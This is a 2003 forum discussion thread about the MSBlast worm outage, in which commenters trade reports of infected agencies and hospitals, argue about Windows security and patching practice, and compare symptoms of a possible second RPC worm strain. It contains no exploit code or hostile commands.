There's been a few that scramble the boot sector in just such a fashion. They infect the MBR and then rewrite the boot sector. If you boot from a clean disk and do an "fdisk /mbr" then you still have the scrambled boot sector, and you've pretty much lost your data (unless you know how to fix it).

Also, there are a few nasty hardware things they could do as well.

Been a few viruses-- such as Turkey-- that would trash the monitor. Also, look at the bit in the Jargon File about The Meaning of Hack for some cute hardware tricks employed by some, er, unauthorized software.

Re:Patches were *not* available on the update page

[evilviper]

There's been a few that scramble the boot sector in just such a fashion.

That's not what I had in mind... With a bootsector virus, it just takes a little bit of smarts to repair the damage. With actual encryption, it would theoretically be impossible to recover the data

you mean

[Anonymous Coward]

you change the paper and toner in the LaserJets.

Wanna-be BOFH types are funny.

Re:you mean

[Anonymous Coward]

Like he said, he never has those kinds of problems.

Papercuts and ink/toner spills are his biggest challanges.

MY BAD: THE CODE IS HERE:

[westyvw]

My bad. I made a bad link that wasnt what I wanted:
If you wanna look at the code its HERE:

http://www.dslreports.com/forum/remark,7652257~r oo t=security,1~mode=flat

The grain of salt is that they are reverse engineering. But it still is there and interesting.

Again my appologies.

Re:MY BAD: THE CODE IS HERE:

[spotlight2k3]

mod parent up, its a great link concerin the code

Re:MY BAD: THE CODE IS HERE:

[westyvw]

Thanks I agree. I am amazed I got a 5 informative with a wrong URL. Thanks for the support.
This worm is not coded very smart, but its effective. I have extremely enjoyed this little known thread, those guys are way smarter then I.

Still I was smart enough to be using Linux, and I was more then annoyed that my internet was down, while the help line told me to patch windows, which 1. Does not apply to me and
2. No one could get the patch if their internet was down.

Stupid comcast. I should know better.
Whats even funnier, is that when I went to my office using a dsl connection, it was faster then ever, due to the crash of all the cable providers. I had a good laugh.

NOT just the MVA

[CamaroC3]

I am going to have to agree with those who disapprove of the 'haxor' who designed this virus...knocking the MVA out might not be such a big deal but it has infected the computers of at least one police agency. Any messing around with the computers of a police agency can cause safety and property to be put into danger. NOT cool.

Windows not ready for prime time

[JimmytheGeek]

Comcast as a whole got blasted, not surprising.

A win2k sp3 machine I patched has something like 16 critical updates needed. Several reboots.

That's too much downtime. You can update just about everything but the kernel in linux/bsd without a reboot. Going through this every couple of days is a drag!

The architecture is fundamentally broken: the enabling stuff by default; implementing dozens of new ways for strangers to do things to your computer without your knowledge (as features!) with each release; welding mere applications (web browser, email client) to the OS, having them run with system priviledges, and making it impossible to remove...

Finally - windows update is fundamentally broken. It will report success when the patching operation fails. This is one way:
http://www.ntbugtraq.com/default.asp?pid=36& sid=1& A2=ind0307&L=ntbugtraq&F=P&S=&P=93 40

They need to start over. Maybe if they start clean they can come up with something that compares to Linux.

Re:Windows not ready for prime time

[seanadams.com]

They need to start over.

It's hard to imagine how that statement could be true - throw out 15+ years of OS development to start anew?

However, Apple managed to do it by standing on the shoulders of giants, and using the time-tested Unix architecture while finding clever ways to support existing apps. MSFT could do it too, but I'd much rather see them continue down this path until they're toast. Preemptive multitasking and multiple users (done right) is the only way to go.

You know how you sort of laugh at the Linux n00b who always logs in as root so he doesn't get those pesky permission errors? Well guess what - that's what 99.99% of the Windows world is doing now. But it's not just the users - it's practically every damn thing running on their system.

I say bring on the virii!

Re:Windows not ready for prime time

[weave]

Well guess what - that's what 99.99% of the Windows world is doing now.

Amen. And as one who wrestles with NOT giving every user admin privs on his office PC, let me tell you that there are a lot of packages out there that don't work and specifically say "User must have Administrator rights to run package"

Auto - cough - cad....

You'd think that people who write software these days would understand by now the world still doesn't use Windows 98 where the app can write to any directory or reg key at will. sigh...

Re:Windows not ready for prime time

[Pathwalker]

They need to start over

I thought they did.

Wasn't Windows 2000 supposed to be a complete rewrite, throwing out most of the old NT4 code?

I seem to recall a Microsoft rep giving that as the reason that NT5 was taking so long to be released...

Re:Windows not ready for prime time

[Anonymous Coward]

Uhhh...you can always change permissions to specific registry keys to allow non-admin users to run those packages (by allowing them to write to the specific registry tree used by the software). I have clients that run poorly written medical software and I do this all the time.

Re:Windows not ready for prime time

[Anonymous Coward]

They did. Those who know the least about a subject speak the loudest. Moderators always mod them up too. Try it sometime. Talk bad about Microsoft and throw in untrue information about technicalities and you too can be modded to +5 informative.

Re:Windows not ready for prime time

[brucmack]

It is worth noting that more and more MS hotfixes do not require reboots in most cases, and MS has committed to providing reboot-free hotfixes by 2005.

May not seem like much now, but it's a good start.

Re:Windows not ready for prime time

[IM6100]

Apple managed to do it by standing on the shoulders of giants,

Apple managed to do it by pissing away millions and millions of dollars trying to prove they were capable of producing a real OS with real multitasking, robustness, etc. All through the 90's they used up cute code-names on 'next-generation Operating System' buzzword sinkholes (object oriented this-n-that of the year).

Then they finally gave up and just put new greasepaint on NextStep instead. Yep. The NIHNI (not invented here? not interested!) brigade finally just went out and bought an OS because they couldn't roll one of their own.

Boy that had to hurt if you're a middle-aged old-line OS developer at Apple.

Re:Windows not ready for prime time

[Umrick]

Factor in that a large amount of vertical software out there requires (yes, requires) the user be in the local administrator group of their machine...

It's not just the end users. A lot of clueless developers code that way as it avoids some unpleasant ickiness, never mind the ickiness is there to prevent this very thing.

Worm-I can dance to it.

[Anonymous Coward]

I'm surprised that no one's called it; The Master Blaster Worm. :)

Re:Worm-I can dance to it.

[nettdata]

I was just thinking the same thing...

"Who runs Microsoft Town!?" "Master Blaster!"

Windows insecure?

[nebby]

I fail to see how issues like this show that windows is fundamentally insecure.

- The patch came out a month ago.
- They have 90% of the marketshare, so one would assume that 90% of the viruses created are written to target exploits on Windows.
- They have 90% of the marketshare, so one would assume that people who spend their time looking for security holes will spend 90% looking at Windows.

If Linux had 90% marketshare and was used mostly by people who don't patch, like Windows is, I fail to see how architectually Linux would be more immune to this type of attack than Windows is. The reason this doesn't happen with Linux is not because it's oh so superior to Windows software wise but because it's used by less people (less rate of infection, less motivation for hackers to write viruses), and the people who use it are competent enough with computers to make sure their stuff is patched and healthy.

The people who run Linux at home or in the office didn't get this virus because their Windows machines were patched. Why do you think that is?

Re:Windows insecure?

[Anonymous Coward]

NOBODY KNEW ABOUT THE PATCHES!!!

You couldn't get them through Windows Update!!

At best, people think that running
1)windows update
2)virus scanner update
3)virus scanner
is enough

Apparently it is NOT enough!
And that is very counter intuitive!

Real issue:
One should not relase commercial software
a)That claims automatic updates,
but does not actually do them.
b)That has such grave flaws in it

I swear there needs to be some sort of Lemon Law against this.

Re:Windows insecure?

[cranos]

Being User Secure and being Architecturely(sp?) secure are two very different things.

The reason why it is so easy to attack MS machines is because they insist on running what really should be considered User space applications as part of the Kernel space, IE is a good example as is Office.

Re:Windows insecure?

[Anonymous Coward]

What does a virus scanner have to do with a remote exploit? Try a firewall jackass.

Re:Windows insecure?

[pi_rules]

If Linux had 90% marketshare and was used mostly by people who don't patch, like Windows is, I fail to see how architectually Linux would be more immune to this type of attack than Windows is.

Yeah, that's probably why IIS has such a poor track record when compared to Apache. Who would try and 'sploit Apache on Linux? Nobody runs that crap.

Re:Windows insecure?

[JKR]

Proof, please. Show me which bits of IE / Office run in Ring 0. Do you even know what the difference is?

Jon

Stop blaming people!

[Da Penguin]

> And who was it who brought it into the office? The CEO

Sure maybe they didn't patch, sure they connected their system to the local network.

There a few common sense notions that people rightfully have. Among these are that 1) you can be on the internet and 2) connecting your system to a network should not harm other computers. If theory and practice are incompatible, I think they should rethink the practice of computers rather that the above two notions.

"In theory, practice and theory should be the same, but in practice they're not."

Re:Stop blaming people!

[Tokerat]

There a few common sense notions that people rightfully have. Among these are that 1) you can be on the internet and 2) connecting your system to a network should not harm other computers. If theory and practice are incompatible, I think they should rethink the practice of computers rather that the above two notions.

There a few common sense notions that people rightfully have. Among these are that 1) you can sleep around and 2) fucking without a condom probably won't give you diseases unless it's a whore from behind the Shell station. If theory and practice are incompatible, I think they should rethink the practice of humping like rabbits rather than the above two notions.

Re:Stop blaming people!

[tchapin]

People have to take responsibility for their actions. I'm not saying that everyone has to become a computer expert, ....

ah, fuck it. People are idiots. That will never change, and because computers are so complex to use, it's even worse when the idiots use computers.

Get or create an anti-virus program that will lock the user out if they get a virus. Or, perhaps at least block network access if that happens. Seems to make sense to me...

Todd

(Sorry to be so bitter; I may get laid off today...)

The Truth? Fire the bastards.

[LibertineR]

This virus is the result of companies putting idiots in charge of setting up and administering Windows-based networks. There are so many Windows-based organizations, that only a small percentage of idiot admins will create enough insecure systems for a virus to do damage large enough to get noticed.

The fact is, there is no 'secure' operating system, but there are enough things that can be done to prevent virus infections that any large company stricken by this virus should fire their IT staff TODAY.

What company does NOT demand auto updating anti-virus software on every system connecting to their corporate network? What company does not have a person in charge of installing MS patches within 24-48 hours of their availability? Dont give me that crap about being afraid of the patches, because if they damage your network, you can blame Microsoft and save your fucking job.

Viruses are a reality for Windows networks, and companies without policies and recovery plans to deal with them should fire their staffs and get competent people in place. Businesses need to understand that competancy costs MONEY, so if your IT people are paid dirt wages, your network is a sitting duck, trust me. Can your MCSE who cant tell you what circular logging does on an Exchange installation. Fire the fool who told you to build trusts between multiple AD forests, I dont care how reasonable his explaination was. I see this shit every day, because 80% of Windows admins suck monkey dick. Microsoft is on their 3rd round of creating a certification program. Maybe they should consider taking the aftermarket PROFIT out of it, and stop caring about pass/fail rates long enough to get a core group of people who know what the fuck they are doing?

There is no excuse for this shit anymore. A virus attack on a company running Windows these days should mean an instant termination of the staff that let it happen.

Re:The Truth? Fire the bastards.

[theflea]

You're right. I'm not a programmer, so I can't personally comment on how insecure (or not) windows is.

However, I do know that admins had enough warning about this worm, and multiple ways to avoid getting hit by it.

On the other side of the coin, I'm sure there are plenty of networks that are doing fine because the admins did do their jobs. They deserve a pat on the back, even if it was their job. Perhaps one of those Bud Light commercials?

Re:The Truth? Fire the bastards.

[Zarquil]

Dont give me that crap about being afraid of the patches, because if they damage your network, you can blame Microsoft and save your fucking job.

No way!

If one of my clients happened to have mission critical software that was taken down because I applied a patch, then I'd deserve to get turfed. I agree that patches breaking other software is used far too much as an excuse for laziness, but testing your patches before you go live is still critically important.

If I ended up costing a company a $10,000 gig (say I couldn't recover a database - or maybe just had so much downtime the company missed a deadline) I'm not going to last long enough to point the finger and say, "It's Microsoft's fault!" I'd likely have my ass grinding over the welcome mat on my way out the door. And in the small businesses that I deal with, losing more than one or two shows will bring the company down anyways.

Part of competency is understanding risk management. If I have the time to test patches before applying them, there is no excuse to patch blindly. If it's a nice standard shop that doesn't have anything exotic, then yeah I'll let auto-update take care of it. But you better understand the business and what kind of tolerance they have to down time or broken patches!

For the record, all of the systems have been clean and, knock on wood, I'll drop by the last of my clients this weekend and check theirs in person (I haven't got a complaint call yet, so I'm hoping things are as I left them.)

- Zarquil

Re:The Truth? Fire the bastards.

[loraksus]

I know you're bitter, and so am I - but the majority of the "IT" folks out there got their jobs because they sat closest to the printer.
I don't think your view is realistic, most of the time IT staff just aren't hired to do IT, but pulled into it from other positions.
On a slightly lighter note, I remember taking calls from small business who needed to fix their printer drivers but couldn't get onto their DC because they fired their IT guy (and replaced him with somebody else) the week before. Good times ;)

Re:The Truth? Fire the bastards.

[pavera]

While in theory I agree with you,
in practice it just ain't gonna happen,
what about the millions of small businesses with 10-20 employees?? How are they supposed to afford an IT guy full time to sit and babysit all of their computers and make sure they are all patched fully?

I do work for a few companies of this size, and whenever I bring up their security issues, and how much it will cost to fix them they balk, so they all got hit today hard (well, not that hard, they all have pretty strick linux firewalls running on old p100 boxes I had laying around, and that saved most of them) but their machines were not patched because they will not pay *anybody* the requisite amount to come to their office every day (or even once a week) and assure that patches have been installed.

The few that were hit (3 out of 50+ win2k boxes I admin) were not hit by msblast.exe but some other strange variant, that caused the RPC service to crash, and cause alot of UI functionality to fail...

At any rate, fully patching the millions of machines that are in this situation is completely unrealistic unless end users actually start caring or MS creates a truly workable remote access tool (no Mstermsrv is not a solution).

I agree that large companies that can afford it should have good staff, but the vast majority of machines are in peoples homes, or in small/medium businesses that simply cannot afford the man hours keeping ms systems up to date requires.

Re:The Truth? Fire the bastards.

[Anonymous Coward]

This virus is the result of companies putting idiots in charge of setting up and administering Windows-based networks

Yes, but let's be honest, it's a job only an idiot would do.

Re:The Truth? Fire the bastards.

[0xA]

What company does NOT demand auto updating anti-virus software on every system connecting to their corporate network? What company does not have a person in charge of installing MS patches within 24-48 hours of their availability? Dont give me that crap about being afraid of the patches, because if they damage your network, you can blame Microsoft and save your fucking job.

24 to 48 hours is pretty damn quick for a patch. This paticular one caused 2 problems that I know of, it screwed up a graphics program called Gmax and it caused a failure of the RPC service on Windows 2000 SBS that didn't have SP4 installed.

I work as a consultant for small companys. I have a standard package we sell with a server and SBS and the option for one of our techs to spend 4 hours a week doing prevenative maintenance and keeping an eye on things for a monthly fee. Almost nobody goes for the weekly visit package, they don't think it is cost effective. Every one of those clients has ended up paying for some 2 day nightmare problem that could have been caught and headed off by routine checks. Most of them still think it's not worth it.

This isn't a black and white issue. All of my clients that had maintenance agreements were patched. Some of the others were as well, if we were doing some work that required a reboot we'd install it at that time. Probably 50% were not patched, they won't pay me to keep the machines up to date, and I'm not doing it for free. I went and did most of them Monday night, given the press coverage people were _now_ willing to cough up the money for me do deal with it. There is a difference in thier mind between me saying that this is going to be a problem soon (as I told everyone as soon as I read the advisory on the 16th) and the CNN anchor saying it is a problem now. My emergency rate is $100 an hour, I don't like having to do this but I'm not crying either.

One of my clients did get nailed though. They are running SBS 2000 SP3 with the pach installed, I only deployed this machine 3 weeks ago. I don't know what happened yet but some change subsequent to the patch rolled the old PRC service executable in. I got the call saying exchange wasn't working any more, I poked around, found the problem and fixed it. Took about 2 hours. Is this really my fault this happened? I did my best to install the patch, Symantec corp edition was running with Live update and the latest defs, it didn't catch it. Can you really find a way to justify terminating my contract for this? Sometimes shit happens, not eveybody that got hit with this is a moron.

BTW, I let my MCSE lapse because it was embarassing.

Re:The Truth? Fire the bastards.

[bonius_rex]

This virus is the result of companies putting idiots in charge of setting up and administering Windows-based networks. There are so many Windows-based organizations, that only a small percentage of idiot admins will create enough insecure systems for a virus to do damage large enough to get noticed.

Unfortunately, even when the admins (ie. Me) tell the higher-ups that we MUST patch (and reboot) the servers periodically, we get shot down, because the bean-counters in charge say that the system cannot be rebooted, because they are in the middle of super-duper-important financial stuff.

So, we tell them if you want 24/7 stability, we should build a cluster or whatever so we can patch the nodes independantly and keep the system up. No dice, that's too expensive (these are bean-counters, remember).

I have 2500 machines to patch, and I am *not allowed* to get started for 7 days. (that's when the bean-counters can tolerate a few minutes of down-time.

So, it's not always stupid admins who cause these troubles.

Re:The Truth? Fire the bastards.

[LibertineR]

BTW, I let my MCSE lapse because it was embarassing.

So did I.

I probably should have waited a day before my post, because I was very pissed from all the fixes I had to do today fixing idiot admins' broken networks.

I agree with everything you said, but it took a few beers and some sleep to admit it. Cheers.

Re:The Truth? Fire the bastards.

[Anonymous Coward]

Maybe they should fire the bastards at Microsoft that wrote this exploit. OH wait, *you* work at Microsoft. (I think).

Re:The Truth? Fire the bastards.

[LibertineR]

I USED to work for Microsoft, and I know for a fact that even with all the security problems, a Windows network CAN be secured against most attacks with prompt patching and a decent set of policies that everyone, including CEOs must adhere to. Now that I am consulting, I get those promises in writing before I agree to do ANYTHING for a corporation. That way, when they break those policies, (and they all do) they will pay me huge dollars to repair their networks. Those that wont agree to my terms, can hire some idiot, and have to deal with my taunts and HIGHER rates, when they have to call me back later.

The most profitable business for good Windows consultants is cleaning up the messes of the bad Windows consultants. That is the business I am in.

Re:The Truth? Fire the bastards.

[Anonymous Coward]

Ok, so you have mission critical software that can't be taken down. So install it on your pre-production system then roll it out to live. What? No Pre-production system? Guess the software wasn't that mission critical. Or run the nightly backup, patch, test, rollback if needed. A little thinking ahead and proper system admin practices are needed. It's been this way for decades no matter what OS you run. It's also been well over a month, plenty of time to test out the patch no matter what methods you use. You were either lazy, or your client didn't want to spend the money needed to keep their 'mission critical' software running. EIther way, it's not microsoft's fault you didn't get patched.

This is comming from somebody who runs a LARGE number of NT and Unix machines at work and uses mainly os x at home.

No Excuse!!!

[NetNinja]

I guess it's time to offer my services to all thosecompanies who have flower arranger paper MCSE's who are getting fired tomorrow :)

But it was a virus

[gotr00t]

You're putting it like it was an intentional attack on these institutions by a hacker, but really, it wasn't a hack, it was a virus, which should, more or less, indiscriminately deal damage. It was probably not the intention of the virus' author to infect nothing but government institutions.

Re:But it was a virus

[Gojira Shipi-Taro]

Actually it's a worm. The distinction is somewhat blurred in many cases, but this time it's pretty clear.

The intent is irrelevant. Don't release this shit into the wild unles you're prepared to pay in "pound-me-in-the-ass" federal prison. You are responsible for the damage you cause, and if caught, you're pretty much fucked.

Re:But it was a virus

[kholburn]

Technically it was a worm but in reality it was a hack. An automated hack. One of the features of Windows is that it allow hacks to be automated.

Someone had to say it....

[Anonymous Coward]

And you thought the wait in line at the DMV was long before... I feel sorry for the people there today!

When will a truly devastating worm arrive?

[Anonymous Coward]

Someone posted to "Full-Disclosure" this affternoon asking for opinions about whether a future virus really WILL delete all hard drives, or do something truly dastardly AFTER passing itself on?

Personally I think this is what it'll take before tha average user starts to have a clue they are running an OS that opens their machine to hackers and kiddies around the world. A full delete would open a few minds perhaps...very few users seem to realize reasons to back up, protect their passwords.....all the things that admins worry about on a daily basis....

Everyone who was affected by this latest virus should actually thank the author that they were infected, noticed, and patched.....next time might be truly serious....

let's hope and pray!

Money

[Detritus]

A common thread in many of the reports is the unwillingness, or inability, of many organizations to spend an adequate amount of money on systems administration and security. How many organizations take a "If it's not broken, don't fix it" approach to dealing with computer systems? Some organizations appear to think that an anti-virus package is the silver bullet for the problem, and don't understand why their computers were affected. Others rely on outside contractors or consultants to fix problems after they have occurred. I've worked in many places where there were no full-time systems administrators. Management depended on local PC "gurus", whose primary job was something else, to keep things running.

Here's why

[Anonymous Coward]

I work with a lot of consulting clients, all mainstreamers, in home, home office, and large organization settings. Many of them, including decision makers, detest Windows for its cost and instability, and MS's big brother attitude, and would dearly love to switch to Linux. But they can't simply because the actual cost to convert would be prohibitive.

This is the factor no one talks about in the endless streams of cost comparisons between Linux and Windows: What does it cost a real-world installtion to convert their entire suite of apps and data from one environment to the other, including retraining personnel.

For some applications, like vertical markets (e.g. cash registers) this is not a big issue--all the conversion happens behind the scenes and you're not dependent on a slew of other apps. Bit for a typical office environment you have a huge investment in software, some of it purchased, some of it developed in house (and in some of those cases they don't even have the source any more). For many businesses and individuals there's literally no accepable way to get from their current environment to a Linux-based one that does the exact same things. So they stick with Windows, and they bitch like crazy about it to people like me.

I have better things to do than patch windows

[JimmytheGeek]

Maintaining this crap is taking way too much fsking time. I have a lot of other projects that I could advance but instead I get to hit slashdot while watching patch progress bars randomly increment.

This is not good, it's not acceptable, and I am moving toward not accepting it. Screw em. Lousy products, massively offensive licensing terms (both in dollar amount and provisions), and smarmy, arrogant execs. Piss on them.

Infastructure Down In Cols. Ohio

[DonnarsHmr]

Here in Columbus, OH, the BMV is down, along with the patient tracking/data services at several major hospitals. Apparrently St. Ann's has closed to incoming traffic because they don't have a paper fallback system. Oops.

Re:Infastructure Down In Cols. Ohio

[Znork]

This is one of the most annoying and dangerous failures in disaster protection these days in many organizations, I think. I remember it being brought up by auditing companies around the y2k problem too; most organizations dont have adequate paper fallbacks which gets to be a huge problem the day something actually happens.

ATTENTION METAMOD!

[bersl2]

Parent is the victim of moderators who did not even bother to look at the link. Clearly, the parent is not a troll, but an attempt to be funny. Mark the moderation as unfair.

If I'm not going to get karma, I'll stand up for those who should (or at the very least not lose any).

Re:Windows rules.....obviously

[Anonymous Coward]

And as a person that works for a multi-billion dollar corporation, let me tell you that Microsoft's market share will not remain what it is unless they seriously change the way they do things.

Dear SAN,

[Letter]

Dear SAN,

I just want to say LOVE YOU SAN!! billy gates why do you make this possible ? Stop making money and fix your software!!

Love,
Letter

amex

[Anonymous Coward]

This virus messed up the American Express network hardcore.

Re:Thanks for nothing.

[ratfynk]

The majority of MS worms are created by little nerds in basements using pirated copies of Visual Studio. Not Linux users. They are know as script kiddies and are all over Usenet sharing their windows expertise.
So bullshit to your post.

Hospitals

[ikkonoishi]

My mother works for a hospital. (I'm not going to say which one.) It seems that the crappy IT girl (My mom's nemesis. I'm serious here they hate each other. :]) there didn't manage to get the system patched in time. While most critical systems (read life support) were not affected, some other systems (read the software that is used by medical records) were affected. This means that reports, some of which diagnos serious diseases, are unable to be delivered to the patients that need to know about them.

And you think Linux will take less time?

[Anonymous Coward]

I have a lot of other projects that I could advance but instead I get to hit slashdot while watching patch progress bars randomly increment.

And what exactly is downloading stuff preventing you from doing? If you can surf Slashdot, you can write or program or e-mail or do whatever else you need to do.

You think there's another OS out there that's easier to maintain? Macs, maybe, but even Macs have large updates every month or two.

Re:And you think Linux will take less time?

[JimmytheGeek]

I am running 3-4 linux servers for each windows box. They have better update routines and many fewer updates are required.

And I have a couple of OpenBSD boxes with very specific roles. It's fun thinking about how little I have to think about them.

So yeah - they're properly administered and they take much less time. Your mileage may vary, of course. If you have a RH 7.3 "with everything" then you have a problem, maybe.

Our system

[Jade E. 2]

I'm an admin for a local County department. While our network was mostly unaffected (I'll get to that in a second), the county's Central IS department, that runs the county backbone from which we get our internet feed, had their exchange 5.5 box (on nt4 - not patchable) go down sometime really early this morning.

My department's network consists almost entirely of win2k boxes with the odd 9x client at some of the less well funded sites. We've got a dozen 2k servers and roughly 300 workstations, the vast majority of which were patched, and a restrictive firewall. Today we got hit by a worm for the first time, from another county department (behind the firewall), and from a dial-in client at a charity who uses one of our databases. I blocked port 135 from the rest of the county and terminated that dialin client, and started checking out the few boxes we knew hadn't been patched yet. I want to stress that the worm that hit us was not the MSBlast thing everyone's talking about. It doesn't shut down the machine (although it seems to crash the RPC service ~50% of the time). It's not detected by Trend's newest definitions (that include msblast), or by Symantec's msblast remover tool. Whatever it was, it did a number on those workstations and we left them unplugged from the network pending figuring out what the hell is wrong with them.

It seems to spread the same way, scanning network ranges (apparently at random - when the dialin client finished scanning our block it went on to start scanning 5.69.something) on port 135 and attempting to infect any it hit. One thing to note is that is crashed the RPC service on a couple of fully patched clients, but for most of them it had no effect. On the ones that it did infect (IE, the ones that weren't patched), it disabled file copying through the GUI (both drag&drop and copy&paste). It also disables a number of odd things, mostly dialogs, like IE's "Find (on this page)" Between those two I suspect it infected at least one system DLL. Something it did didn't agree with Word, which would popup up an error on creating a new document, saying that the document could not be registered, so other documents would not be able to link to this one. I didn't spend too much time on it (There were only a few unpatched boxes, we took them offline and went home), but I didn't find any reference anywhere to this. It wasn't scanning out from the infected machines, so it may have a time delay or something built in.

So, first, the people in the story weren't the first government agency to be affected, by far (although none of our public services were affected AFAIK). And second, has anyone else seen a second RPC worm going around? Or is this some mutated version of msblast?

Re:Our system

[smash]

Mod parent up please...

Looks like there's a few strains floating around already ;)

smash.

Re:Our system

[Anonymous Coward]

So why the F did they have port 135 open? Ports 130-145 should be closed, period.

Re:Our system

[Tumbleweed]

One thing to note is that is crashed the RPC service on a couple of fully patched clients, but for most of them it had no effect. On the ones that it did infect (IE, the ones that weren't patched), it disabled file copying through the GUI (both drag&drop and copy&paste). It also disables a number of odd things, mostly dialogs, like IE's "Find (on this page)" Between those two I suspect it infected at least one system DLL. Something it did didn't agree with Word, which would popup up an error on creating a new document, saying that the document could not be registered, so other documents would not be able to link to this one.

Hmm, that sounds about right for normal operation - are you sure the systems are infected? ;)

Re:Our system

[SKPhoton]

With the exploit code so freely available, link 1, link 2, I wouldn't be too surprised to see mutations out. It was released nearly a month ago.

Re:Our system

[Oscar_Wilde]

More interesting, I thought, is that it stops IE from opening pages in new windows. So all those sites that popup ads and all the pages where the links open in new windows dont work (oh for Mozilla and middle clicking on all computers). Also, drop down combo box menus wont work (which I noticed while trying to use phpMyAdmin).

If nothing else this worm will stop people from having to put up with pop-ups for a few days... Might almost be worth it.

Re:Our system

[Antitorgo]

If the other worm you are talking about is hitting port 445 it is probably the Backdoor.irc.Cirebot trojan. It targets port 445 (vs 135), and opens up a backdoor. Its still an RPC attack though...

Hopefully, the other worm you are seeing isn't a mutation.

Re:Our system

[Antitorgo]

Or perhaps W32.Randex.E which explots the same DCOM RPC vulnerability as MSBlaster.

I'm gonna stick to the Backdoor.irc.Cirebot theory just because I think this one has been more widespread.

See MS03-026

Re:Our system

[c.r.o.c.o]

When I saw this happen in our lab, I was trying to fix someone's floppy (yes, yes, I'm a lowly lab monitor at my U). I thought it was a broken floppy, but the strange thing was that the computer could read the fine just fine, but Copy/Cut/Paste was disabled in Word and in Explorer.

Our lab is XP-only, and it's very up to date on all security patches, with ONE exception, the machine I was using for the floppy recovery. That one is running Windows98, and I know for a fact it's not patched.

I'll look into it tomorrow, to see what's going on.

Re:Our system

[pavera]

I saw this exact same problem today at one of my client's sites. I do work for a few small businesses, and one of them had this exact same problem, it wasn't msblast (that process wasn't running, and nothing was found by virus scan or the symantec remover) but we showed the exact same problems, the only fix we found (In nearly 8 hours of trying) was to complete reformat and reinstall...)

Hopefully someone will find out what this new virus is and create a removal tool for it, however I think this one might be pretty nasty, it completely hosed word/outlook and norton av on one system and trashed the windows installer service on another causing office and norton av to think they weren't installed, and making it impossible to reinstall them.

We also did not see it scanning, and it seemed to be infecting slowly (the client has 30+ machines all win2k, and after 8 hours only 3 had been infected, those 3 were pulled from the net then but they had many hours to infect the rest of the hosts on the network and didn't).

Any info on this new strain would be greatly appreciated.

Re:Our system

[MartyJG]

Similar thing here. I'm currently on one of our sites blanket patching to make problems go away, but using the Sophos stand-alone MSBlast checker, machines which are misbehaving (missing CutCopyPaste, wierd Office problems, etc) are coming up completely clean for MSBlast. The MS patch is going on straight away after the scan, and following a reboot the machines seem okay. Whatever other viruses are getting through the same hole, the MS RPC patch appears to fix the problems.

For all those laughing at getting hit in the first place, our IT team is very hot on the anti-virus front. However, the AV companies can only respond once they've seen a particular virus. This was a problem that should have been addressed with patches. Rather than letting MS decide what updates are going out, we were already trialling HFNETCHKPRO (http://www.shavlik.com/pHFNetChkPro.aspx) to roll out patches centrally. I think we'll get our funding approved now!

Re:Our system

[Anonymous Coward]

i had pretty much same problems on my personal computer

i dl'ed and installed RPC patch but didnt reboot 'cos i've working fw and thought "it'll hold;)"...got some strange copy-pasting problems etc so i rebooted...all problems gone after reboot.

seems to work at least now...=^_^=

Re:Our system

[gdbear]

I have seen similar stuff on a computer here, don't know what it is, can't find any registry traces of it, can't figure out what is going on, it isn't scanning, or listening on any odd ports.
Gonna have to rebuild it I think.

Re:Our system

[Anonymous Coward]

Finally, something useful on Slashdot! (j/k)

On either Saturday or Sunday I noticed that I could no longer use Ctrl-A/Ctrl-C. I also noticed that when I right-clicked my dial-up connection I could select Disconnect but it would not actually do so. Other symptoms I noticed were that in Control Panel, in the Add/Remove Programs area, the entire box was grey except for the header and a string of words across the top. There was a Close button but that didn't actually close the box. Had to use the X.

I thought I was going crazy so I used my CD to reinstall 2000. Nothing. So I went back and did a complete reinstall then got ahold of TweakUI. Using TweakUI I was able to fix my Conrol Panel problem and thought everything was good. Wrong.

About 15 minutes after I was all done I was surfing around and low and behold up pops the same error message which started this whole fiasco. I don't remember the exact words but they were to the effect, "An error has been generated by svchost.exe and Windows will have to shut it down. A log file has been created."

Being on a dial-up and not using Outlook/Exchange or any Office I thought I was reasonably safe. Obviously not.

The remainder of my week nights will be spent completely reformatting my HD and reinstalling and then patching.

Thanks for writing what you did. Now I can tell everyone I'm not insane and they can stamp my forehead as such. (Obligatory Simpsons reference)

Re:Our system

[killmeplease]

This is happening to the machines at my office, where I have been in charge of IT:

1. Excel crashes upon opening any file
2. IE cannot open a new window
3. Cut/Copy/Paste don't work
4. Windows Update is disabled
5. Act is unusable
6. Norton Antivirus dosn't install

Please resond if you find any cure other than complete format / reinstall.

Re:Our system

[replicant108]

Restart the machine. Normally it takes a few minutes before svchost.exe crashes - the machine should be ok til this happens. Download and install patch from MS. Reboot again . System should be ok now. Worked for me, anyway...

Haha...

[smash]

And the funny thing is.... this one isn't even very malicious - it simply makes XP machines reboot (from a user's perspective) and provides a back door (which is effectively useless to an outside attacker in a firewalled environment).

Just wait till next week, when one with a destructive payload is released...

I'm actually glad this particular worm hit, and not something much nastier - think of it as warning shot, if you will...

smash.

Don't blame M$...

[bluekanoodle]

Not to come off like a MS apologist, but do people here honestly think Linux is the magic bullet to rid the world of worm's like this?

Think about it. If an incompetent admin isn't wise enough to keep up to date with MS patches, do you think he'll be able to properly administer and secure a Linux box? How hard is it for these guys to either get a decent firewall, or click start>windows update?

You can't really blame MS for this one, they had the patch out a while ago. The problem rest solely witth lazy and/or imcompetent admins.

As far as home users go, if they can't figure out Windows, why would they bother with linux?

Re:Don't blame M$...

[Anonymous Coward]

I thought all MCSE's were incompetent.

NOT a virus, a WORM!

[Anonymous Coward]

It wasn't a fucking virus, IT WAS A FUCKING WORM!
News for Nerds...you should fucking know better!

Re:NOT a virus, a WORM!

[Black Perl]

Here's what the Washington Post article said:

Worms are malicious programs that are designed to infect, harm and disable targeted computers. They spread through internal networks and the Internet, but unlike viruses, they do not require people to open e-mail attachments or take other actions in order to function.

This, of course, is completely wrong. And thus, their basis for calling it a worm is wrong. This virus can infect without user intervention.

If only!

[Ravensign]

If only someone would have alerted the sysadmins of the world about this RPC problem, back when it mattered, like in July, around the middle, like the 16th -- then maybe the robots wouldn't have taken over the world.

Re:If only!

[smash]

You mean like Windows update automatically notifying the user to download and install the patch, right?

Shit.... a couple of my USERS even managed to save themselves.

If you're a *sysadmin* and got hit because you simply didn't think there was any holes in Windows for you to take care of, you need a good beating about the head with a cluestick.

Of course being aware of a vulnerability and having methods in place of closing it are 2 different things, but the information is out there, and its pretty in your face. Especially if you're signed up to CERT, securityfocus, etc...

smash.

It's too much to ask

[JimmytheGeek]

It's like digging a hole in the water. (In this metaphor, the water is NOT frozen, 'kay?)

